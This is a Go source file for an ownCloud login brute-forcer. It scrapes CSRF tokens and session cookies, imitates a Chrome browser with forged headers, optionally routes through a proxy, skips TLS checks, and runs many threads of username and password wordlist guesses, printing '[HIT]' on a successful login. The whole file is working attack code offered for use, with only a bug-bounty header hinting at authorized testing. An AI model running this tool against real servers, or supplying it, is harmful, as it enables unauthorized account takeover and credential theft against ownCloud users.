owncloud_bruteforcer/main.go

250 lines
7.2 KiB
Go

package main
import (
"fmt"
"net/http"
"os"
"io"
"time"
"regexp"
"strings"
"net/url"
"crypto/tls"
"bufio"
"sync"
// "runtime"
// "encoding/json"
// "iouti"
)
func getCSRFtoken(url string) (token,cookie string) { // + cookie
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
//TODO make it at least a bit look legit (add headers, etc)
res,err := http.Get(url)
errHandler(err, "can't connect to server")
bodyChar, err := io.ReadAll(res.Body)
res.Body.Close()
errHandler(err, "can't read body of CSRF request")
body := string(bodyChar)
rTok, _ := regexp.Compile("data-requesttoken=\".*\"")
token = rTok.FindString(body)
token = strings.TrimPrefix(token,"data-requesttoken=\"")
token = strings.TrimSuffix(token,"\"")
//TODO cookie
// token = urlEncode(token) //No need, token automatically encoded in POST request by net/http
rCookie, _ := regexp.Compile("oc.{10}=.{26};|logged_in=no;|_octo=.{28}|oc_sessionPassphrase=.*; e")
for key,val := range res.Header {
if key == "Set-Cookie" {
cookie = strings.Join(rCookie.FindAllString(strings.Join(val, " "), -1), " ")
cookie = strings.TrimSuffix(cookie,"; e")
// cookie = strings.Join(val, " ")
}
// fmt.Println(key, " ",val)
}
return token, cookie
}
func urlEncode(input string) string {
return url.QueryEscape(input)
}
func tryPassword(link,proxy,token,cookie,user,pass string) bool { //TODO header
var client = &http.Client{}
if proxy != "" {
proxyUrl, err := url.Parse(proxy)
errHandler(err, "wrong proxy url")
http.DefaultTransport = &http.Transport{Proxy: http.ProxyURL(proxyUrl)}
client = &http.Client{
Timeout: time.Second * 10,
Transport: &http.Transport{Proxy: http.ProxyURL(proxyUrl),TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
} else {
client = &http.Client{
Timeout: time.Second * 10,
Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
}
data := url.Values{
"user": {user},
"password": {pass},
"timezone-offset": {"3"},
"timezone": {"Europe%2FMinsk"},
"requesttoken": {token},
}
req, err := http.NewRequest("POST" ,link, strings.NewReader(data.Encode()))
errHandler(err, "can't create (POST) request")
req.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7")
req.Header.Add("Connection", "keep-alive")
req.Header.Add("Cache-Control", "max-age=0")
req.Header.Add("sec-ch-ua", "\"Not(A:Brand\";v=\"24\", \"Chromium\";v=\"122\"")
req.Header.Add("sec-ch-ua-mobile", "?0")
req.Header.Add("sec-ch-ua-platform", "\"Linux\"")
req.Header.Add("Upgrade-Insecure-Requests", "1")
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36")
req.Header.Add("Origin", "null")
req.Header.Add("Cookie", cookie)
req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Accept-Encoding", "Accept-Encoding: gzip, deflate, br")
req.Header.Add("Sec-Fetch-Site", "same-origin")
req.Header.Add("Sec-Fetch-Mode", "navigate")
req.Header.Add("Sec-Fetch-User", "?1")
req.Header.Add("Sec-Fetch-Dest", "document")
req.Header.Add("Accept-Language", "en-US,en;q=0.9")
req.Header.Add("bugbounty", "owncloud_bruteforcer")
response, err := client.Do(req)
errHandler(err, "can't create (POST) request")
defer response.Body.Close()
// Print response body
// body, _ := io.ReadAll(response.Body)
// fmt.Println(string(body))
// We detect successful login with 303 redirect Location header. If it rederects to .*/apps/files then we got right login. I guess exception - 2FA //TODO
var location303 string
for key,val := range response.Header {
if key == "Location" {
location303 = strings.Join(val," ")
}
}
if strings.Contains(location303,"apps/files") {
return true
} else {
return false
}
}
func errHandler(err error, message string) {
if err != nil {
fmt.Printf("%s: %s\n", message, err)
os.Exit(1)
}
}
var waitGroup sync.WaitGroup
func main() {
options,err := ParseOptions()
errHandler(err,"Error parsing options")
//for GET request (func getCSRFtoken)
if options.Proxy != "" {
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
proxyUrl, err := url.Parse(options.Proxy)
errHandler(err, "wrong proxy")
http.DefaultTransport = &http.Transport{Proxy: http.ProxyURL(proxyUrl)}
}
//TODO add check for owncloud page
var usernames *bufio.Scanner
// fmt.Println(options.UserFile,options.PassFile)
// fmt.Println(options)
if options.UserFile != "" {
userFile,err := os.Open(options.UserFile)
errHandler(err,"Can't read username wordlist")
usernames = bufio.NewScanner(userFile)
usernames.Split(bufio.ScanLines)
}
// main loop
if options.UserFile != "" {
for usernames.Scan() {
user := usernames.Text()
fmt.Println("User -",user)
options.bruteforce(user)
// runtime.GC() //TODO might a hack to free memory, need to learn more where it's allocated. My guess it's channel. P.S. Yep, it is
}
} else {
options.bruteforce(options.User)
}
//TODO progress bar would be nice. Or some counter of requests
}
func (options Options) bruteforce(user string) {
passFile,err := os.Open(options.PassFile)
errHandler(err,"Can't read password wordlist")
passwords := bufio.NewScanner(passFile)
passwords.Split(bufio.ScanLines)
// pass := make(chan string, 15000001) // rockyou - 14,344,391
pass := make(chan string, 1000) // primarly we need big enough buffer to prevent slowdown for workers, so we kinda expect less then 1000 workers/threads
go func() {
for passwords.Scan() { //TODO BUG constantly rereads file to write it to channel. Better way would be to write it in string/[]string var and then from it write to channel. Doubles memory but we don't rely on reading file from HDD which might be busy slowing down burteforce
pass <- string(passwords.Text())
}
close(pass)
}()
var foundPass = false
// for _ := range options.Threads {
for i:=0; i<options.Threads && ! foundPass; i++ {
// start workers
// TODO iterate over pass channel
// for password := range pass {
// fmt.Println("try - ",password)
waitGroup.Add(1)
go func() {
for ! foundPass {
token,cookie := getCSRFtoken(options.URL)
password1,channelClosed := <-pass
if ! channelClosed {foundPass = true}
if tryPassword(options.URL,options.Proxy,token,cookie,user,password1) {
fmt.Printf("[HIT] %s:%s\n",user,password1)
foundPass = true
// close(pass)
//TODO stop bruteforce for user
}
}
// if foundPass {fmt.Println("we already have pass")}
defer waitGroup.Done()
}()
// }
}
waitGroup.Wait()
}